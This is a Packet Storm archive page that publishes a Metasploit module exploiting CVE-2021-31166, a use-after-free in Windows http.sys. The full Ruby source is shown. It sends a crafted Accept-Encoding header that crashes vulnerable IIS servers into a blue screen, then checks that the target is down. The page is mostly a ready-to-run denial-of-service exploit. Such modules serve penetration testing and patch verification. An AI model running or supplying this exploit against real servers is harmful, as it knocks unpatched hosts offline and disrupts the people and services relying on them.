what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Windows IIS HTTP Protocol Stack Denial of Service

Windows IIS HTTP Protocol Stack Denial of Service
Posted Aug 31, 2024
Authored by Max, Axel Souchet, Maurice Lambert, Stefan Blair | Site metasploit.com

This Metasploit module exploits CVE-2021-31166, a UAF bug in http.sys when parsing specially crafted Accept-Encoding headers that was patched by Microsoft in May 2021, on vulnerable IIS servers. Successful exploitation will result in the target computer BSODing before subsequently rebooting. Note that the target IIS server may or may not come back up, this depends on the targets settings as to whether IIS is configured to start on reboot.

tags | exploit, web
advisories | CVE-2021-31166
SHA-256 | 97a44dc1fe6ca954dc341018f61c578a60177d84f6f32df13fcea55667e3fca9

Windows IIS HTTP Protocol Stack Denial of Service

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows IIS HTTP Protocol Stack DOS',
'Description' => %q{
This module exploits CVE-2021-31166, a UAF bug in http.sys
when parsing specially crafted Accept-Encoding headers
that was patched by Microsoft in May 2021, on vulnerable
IIS servers. Successful exploitation will result in
the target computer BSOD'ing before subsequently rebooting.
Note that the target IIS server may or may not come back up,
this depends on the target's settings as to whether IIS
is configured to start on reboot.
},
'License' => MSF_LICENSE,
'Author' => [
'Max', # Aka @_mxms. Vulnerability discovery
'Stefan Blair', # Aka @fzzyhd1. Vulnerability discovery
'Axel Souchet', # Aka @0vercl0k. PoC exploit
'Maurice LAMBERT <mauricelambert434[at]gmail.com>' # msf module
],
'Platform' => 'win',
'References' => [
['CVE', '2021-31166'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2021-31166'],
['URL', 'https://github.com/mauricelambert/CVE-2021-31166'],
['URL', 'https://twitter.com/metr0/status/1392631376592076805'],
['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31166']
],
'DisclosureDate' => '2021-05-11',
'Notes' => {
'Stability' => [CRASH_OS_RESTARTS],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
}
)
)

register_options(
[
OptString.new(
'TARGETURI', [true, 'The URI of the IIS Server.', '/']
)
]
)
end

# This module performs a DOS attack using a simple HTTP request.
def run
print_status('Connecting to target to make sure its alive...')

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, ''),
'method' => 'GET'
)

if res.nil?
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the target IIS server - no response")
end

print_good('Successfully connected to target. Sending payload...')

payload =
"#{Rex::Text.rand_text_alpha(5)}, #{Rex::Text.rand_text_alpha(3)}, ,"

exploit_headers = {
'Accept-Encoding' => payload
}

begin
send_request_cgi({
'uri' => normalize_uri(target_uri.path, ''),
'timeout' => 1, # short timeout -> the server should not respond
'method' => 'GET',
'headers' => exploit_headers
})
rescue Rex::ConnectionError, Errno::ECONNRESET
print_good('Connection reset by target server or connection failed when sending the malicious payload!')
ensure
print_good('Payload was sent to the target server.')
print_status('Checking that the server is down...')
end

begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, ''),
'method' => 'GET'
)

if res.nil?
print_good('Target is down.')
else
print_error('Target appears to still be alive. It may have not received the packet due to network filtering, or it may not be vulnerable.')
end
rescue Rex::ConnectionError, Errno::ECONNRESET
print_good('Target is down.')
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close